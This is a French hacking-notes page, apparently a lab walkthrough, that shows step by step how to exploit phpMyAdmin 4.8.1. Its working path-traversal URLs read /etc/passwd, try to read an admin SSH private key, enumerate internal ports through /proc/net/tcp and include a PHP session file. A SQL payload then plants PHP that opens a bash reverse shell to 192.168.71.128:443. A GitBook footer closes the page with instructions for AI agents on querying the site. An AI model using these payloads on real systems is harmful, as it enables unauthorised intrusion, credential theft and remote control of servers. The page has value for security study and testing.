> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md).

# phpMyAdmin - 4.8.1 (RCE)

**Identification de la vulnérabilité RCE de phpMyAdmin**

Après avoir identifié la version 4.8.1 de phpMyAdmin comme vulnérable, utilisez SearchExploit pour trouver les exploits correspondants et confirmer la [RCE](/fr/web-vulnerabilities/owasp-top-10-vulnerabilities/vulnerability-local-file-inclusion-to-remote-code-execution-lfi-to-rce.md) .

<figure><img src="/files/61ba90b08d7f5502b6ed93bf7784e7f279d96a2d" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/9b6519613d48c72cae71edc392bc50a309ada3e7" alt=""><figcaption></figcaption></figure>

## Vulnérabilité RCE

Exploitez le chemin RCE en injectant le script suivant dans l'URL pour lire `/etc/passwd`:

<figure><img src="/files/dbf2e1600e4ab5bded6838904d011d7609ae9555" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd
```

<figure><img src="/files/d5949f4e1c21a5cbefd318132e58281f49ec480d" alt=""><figcaption></figcaption></figure>

**Tenter de récupérer la `admin` clé privée SSH de l'utilisateur**

Essayez d'accéder à la `admin` clé privée SSH de l'utilisateur avec l'URL suivante, mais elle renvoie une erreur :

```url
index.php?target=db_sql.php%253f/../../../../../../../../home/admin/.ssh/id_rsa
```

<figure><img src="/files/5fdbbc3a0f074701975c24c72619244b7eed8c67" alt=""><figcaption></figcaption></figure>

**Énumération des ports du réseau privé interne**

Utilisez l'URL suivante pour lister les ports internes du serveur via `/proc/net/tcp`:

```url
index.php?target=db_sql.php%253f/../../../../../../../../proc/net/tcp
```

<figure><img src="/files/a003a01e5c0ac32569bc030d5736e27c7306cf62" alt=""><figcaption></figcaption></figure>

Enregistrez ces ports dans un `données` fichier pour une analyse ultérieure.

```bash
for port in $(cat data | awk '{print $2}' | awk '{print $2}' FS=":" | sort -u); do echo "[+] Port $port -> $((0x$port))"; done
```

<figure><img src="/files/7db4bccd4eb8cd1a151f5d7c2f3b6f9a08ea2388" alt=""><figcaption></figcaption></figure>

**Identification du répertoire contenant les sessions phpMyAdmin**

En examinant le script, identifiez le répertoire contenant les sessions phpMyAdmin :

```url
/index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/sessions/sess_{}
```

<figure><img src="/files/82cfcc6bb6315f5a4c26b2807c4b0c3d60ea1902" alt=""><figcaption></figcaption></figure>

## Injection de commandes phpMyAdmin

**Utilisation du cookie de session phpMyAdmin pour l'injection de commandes**

<figure><img src="/files/816bf5c14d67768b60d142764ca7d0aa27fd92e7" alt=""><figcaption></figcaption></figure>

```url
index.php?target=db_sql.php%253f/../../../../../../../../var/lib/php/session/sess_38f8d56u6em5usl5fd9s9v3pe66qh7v1
```

<figure><img src="/files/4d73ce63c4979739a9fb09cc03ba209585456331" alt=""><figcaption></figcaption></figure>

#### Ce fichier interprète les commandes issues des requêtes.

```sql
SELECT 'testing';
```

<figure><img src="/files/0126ca77e963655264a80bac31c7928493529f1e" alt=""><figcaption></figcaption></figure>

**Injection de commande SQL pour obtenir un** [**shell inversé**](https://www.revshells.com/)**:**

```sql
select '<?php system("bash -i >& /dev/tcp/192.168.71.128/443 0>&1"); ?>';
```

**L'accès à la machine réussit enfin :**

<figure><img src="/files/ccc8f9f71d2e5c76b3d74770f8b48b814fa477a9" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/phpmyadmin-cms-exploitation/phpmyadmin-4.8.1-rce.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
